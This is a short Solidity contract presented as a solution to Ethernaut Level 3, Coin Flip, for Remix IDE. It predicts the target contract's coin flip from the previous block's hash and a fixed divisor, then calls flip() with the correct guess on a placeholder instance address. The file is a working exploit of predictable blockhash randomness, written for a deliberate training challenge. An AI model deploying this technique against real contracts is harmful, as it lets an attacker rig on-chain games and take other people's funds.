Solution for Ethernaut Level 3 - Coin Flip. For Remix IDE

CoinFlipScript.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface ICoinFlip {
    function consecutiveWins() external view returns (uint256);
    function flip(bool) external returns (bool);
}

contract CoinFlipHack {
    function hack() external {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 flip = blockValue / factor;
        bool guess = flip == 1 ? true : false;
        ICoinFlip coinFlip = ICoinFlip(PUT_INSTANCE_ADDRESS_HERE);
        coinFlip.flip(guess);
    }
}